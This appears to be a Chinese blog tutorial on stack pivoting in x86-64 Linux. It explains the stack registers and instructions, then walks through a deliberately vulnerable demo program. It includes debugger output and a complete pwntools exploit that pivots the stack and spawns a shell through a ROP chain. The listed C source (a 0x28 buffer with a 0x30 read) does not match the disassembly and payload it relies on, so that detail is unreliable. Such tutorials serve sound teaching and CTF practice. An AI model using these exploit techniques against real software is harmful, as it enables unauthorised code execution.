Featured image of post 栈迁移 - Pivoting

栈迁移 - Pivoting

栈迁移

之前答应某人写一篇文章讲栈迁移,这里附带一些栈相关的知识,尽可能全面的讲述栈和栈迁移,结合例题应用 文章讨论的内容都建立在x86-64 linux

栈相关寄存器

rsp

  • 指向当前栈顶,决定 CPU 从哪里取返回地址与 ROP 数据

rbp

  • 指向当前函数栈帧基址,用作稳定的栈内数据定位与栈迁移跳板

栈相关的指令

这里只讲一些需要特别注意的指令,add sub一类明显的就略过了

push

push是一个压栈指令,可以将寄存器立即数或内存中的数据压入栈中,这条指令的具体操作包括

  1. rsp - 8
  2. 将指定数据写在rsp指向的内存处 需要注意是先rsp减小,再写入数据,当压入立即数时会先符号扩展至8字节,再压入

pop

pop与push相反,用于弹栈,可以将rsp处的值弹出,他的流程大致为

  1. 弹出rsp处的值
  2. rsp + 8 需要注意pop事实上只移动了rsp,原本rsp处弹栈的数据并不会被清理

call

事实上call是一条隐式的push,当我们通过call调用某个地址时,实际做的是

  1. push rip
  2. jmp addr 它会将call的下一条指令的地址压,并jmp到刚刚call的地址

ret

和call相反,ret则是一条隐式的pop,当执行ret时

  1. pop rip
  2. jmp rip 会将之前call压栈的返回地址pop到rip,并跳转

leave

leave则是栈迁移的一条关键指令,主要作用是销毁栈 执行的时候

  1. mov rsp, rbp
  2. pop rbp 会将rsp移动到rbp处,并将当前位置的地址pop到rbp完成对rbp的移动

如何迁移

对于迁移栈,我们的目的是将栈移动到一个更加可控的位置,或利用有限的溢出大小实现更长的ROP链,也可以通过多次栈迁移布置特定的数据结构栈风水等

gadget

对于gadget的选取,一般有两种选择

1
2
3
4
5
pop rbp
retn

leave
retn

这些gadget可以帮助我们控制rbp进而间接控制rsp

迁移目标位置的选择

可以通过gdb调试寻找一些可读可写的区域

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
          0x400000           0x401000 r--p     1000       0 pwn
          0x401000           0x402000 r-xp     1000    1000 pwn
          0x402000           0x403000 r--p     1000    2000 pwn
          0x403000           0x404000 r--p     1000    2000 pwn
          0x404000           0x405000 rw-p     1000    3000 pwn
          0x405000           0x426000 rw-p    21000       0 [heap]
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7c28000     0x7ffff7db0000 r-xp   188000   28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7db0000     0x7ffff7dff000 r--p    4f000  1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7dff000     0x7ffff7e03000 r--p     4000  1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e03000     0x7ffff7e05000 rw-p     2000  202000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e05000     0x7ffff7e12000 rw-p     d000       0 [anon_7ffff7e05]
    0x7ffff7fae000     0x7ffff7fb1000 rw-p     3000       0 [anon_7ffff7fae]
    0x7ffff7fbd000     0x7ffff7fbf000 rw-p     2000       0 [anon_7ffff7fbd]
    0x7ffff7fbf000     0x7ffff7fc3000 r--p     4000       0 [vvar]
    0x7ffff7fc3000     0x7ffff7fc5000 r-xp     2000       0 [vdso]
    0x7ffff7fc5000     0x7ffff7fc6000 r--p     1000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc6000     0x7ffff7ff1000 r-xp    2b000    1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ff1000     0x7ffff7ffb000 r--p     a000   2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000   36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000   38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rw-p    21000       0 [stack]

以这里为例, 0x404000 0x405000 rw-p 1000 3000 pwn就是一个很不错的选择

迁移手法

除了最简单直接的pop rbp这类的直接操作,还有一些间接操作 当我们向栈上读入时,如果能够覆盖到保存的rbp的值,即可在运行到leave ret时完成对栈的迁移 所以操作可以分为如下几步

  1. 溢出覆盖保存的rbp值为希望迁移到的地址
  2. 在修改rbp后能够执行leave控制rsp

例题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  

void gift(){
   asm("pop %rdi;
        ret");
}

void backdoor(){
    system("goodmorning");
}

void main(){
    char buf[0x28];
    puts("Input:");
    read(0,buf,0x30);
}

使用以下命令编译

1
gcc -fno-stack-protector -no-pie -z lazy -O0 demo.c -o demo

编译完成后,开始尝试解题 发现这里read的大小只够一个返回地址,但是我们的ROP链显然不止这么长,就可以开始计算栈迁移 先vmmap看看哪里可以当作迁移的目的地

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
          0x400000           0x401000 r--p     1000       0 piv
          0x401000           0x402000 r-xp     1000    1000 piv
          0x402000           0x403000 r--p     1000    2000 piv
          0x403000           0x404000 r--p     1000    2000 piv
          0x404000           0x405000 rw-p     1000    3000 piv
          0x405000           0x426000 rw-p    21000       0 [heap]
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7c28000     0x7ffff7db0000 r-xp   188000   28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7db0000     0x7ffff7dff000 r--p    4f000  1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7dff000     0x7ffff7e03000 r--p     4000  1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e03000     0x7ffff7e05000 rw-p     2000  202000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e05000     0x7ffff7e12000 rw-p     d000       0 [anon_7ffff7e05]
    0x7ffff7fad000     0x7ffff7fb0000 rw-p     3000       0 [anon_7ffff7fad]
    0x7ffff7fbd000     0x7ffff7fbf000 rw-p     2000       0 [anon_7ffff7fbd]
    0x7ffff7fbf000     0x7ffff7fc3000 r--p     4000       0 [vvar]
    0x7ffff7fc3000     0x7ffff7fc5000 r-xp     2000       0 [vdso]
    0x7ffff7fc5000     0x7ffff7fc6000 r--p     1000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc6000     0x7ffff7ff1000 r-xp    2b000    1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ff1000     0x7ffff7ffb000 r--p     a000   2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000   36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000   38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rw-p    21000       0 [stack]

显然0x404000到0x405000是一个可读可写的段,在这里即可,我们从0x404800开始写ROP链 构造如下payload

1
payload = cyclic(0x30) + p64(0x404830) + p64(read_addr)

这里溢出到rbp的值的时候,我们修改为0x404830,但为什么是0x404830而不是0x404800 因为这里rbp是作为一个基准使用的,当我们执行read时

1
2
3
4
5
6
7
void __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF

  puts("Input:");
  read(0, buf, 0x40uLL);
}
1
2
3
4
5
.text:00000000004011B8                 lea     rax, [rbp+buf]
.text:00000000004011BC                 mov     edx, 40h ; '@'  ; nbytes
.text:00000000004011C1                 mov     rsi, rax        ; buf
.text:00000000004011C4                 mov     edi, 0          ; fd
.text:00000000004011C9                 call    _read

从ida里看到,事实上这里是从rbp - 0x30的地方开始read,所以这样刚好可以从0x404800开始写ROP链

1
payload = cyclic(0x30) + p64(0x404830) + p64(read_addr)

当第一段payload输入结束后,程序执行leave,此时rsp被移动到当前rbp的位置,并将rbp移动到0x404830,retn执行,程序流运行到写的再次read的地方(0x4011b8) 现在可以开始写入以下payload

1
payload2 = p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr) + b'/bin/sh\x00' + cyclic(0x08) + p64(0x404800 - 8) + p64(leave_ret)

这里可以预先计算到,binsh的地址我们打算放在0x404820的位置,并且再次迁移rbp到0x4047f8,这样就可以使得前面写的ROP链刚好位于rbp后方的返回地址的位置,当执行leave ret后即可执行刚写的ROP链

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x404800
00:0000│ rsi 0x404800 —▸ 0x40117e (gift+8) ◂— pop rdi
01:0008│-028 0x404808 —▸ 0x404820 ◂— 0x68732f6e69622f /* '/bin/sh' */
02:0010│-020 0x404810 —▸ 0x40117f (gift+9) ◂— ret
03:0018│-018 0x404818 —▸ 0x401195 (backdoor+18) ◂— call system@plt
04:0020│-010 0x404820 ◂— 0x68732f6e69622f /* '/bin/sh' */
05:0028│-008 0x404828 ◂— 0x6161616261616161 ('aaaabaaa')
06:0030│ rbp 0x404830 —▸ 0x4047f8 ◂— 0
07:0038│+008 0x404838 —▸ 0x4011cf (main+50) ◂— leave

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')

io = process('./piv')

def dbg():
    gdb.attach(io)
    pause()

pop_rdi = 0x40117E
read_addr = 0x4011B8
system_addr = 0x401195
ret_addr = 0x40117F
leave_ret = 0x4011CF

io.recvuntil(b'Input:\n')
payload = cyclic(0x30) + p64(0x404830) + p64(read_addr)
io.send(payload)

sleep(0.1)
binsh_addr = 0x404820
payload2 = p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr) + b'/bin/sh\x00' + cyclic(0x08) + p64(0x404800 - 8) + p64(leave_ret)
io.send(payload2)

io.interactive()
Licensed under CC BY-NC-SA 4.0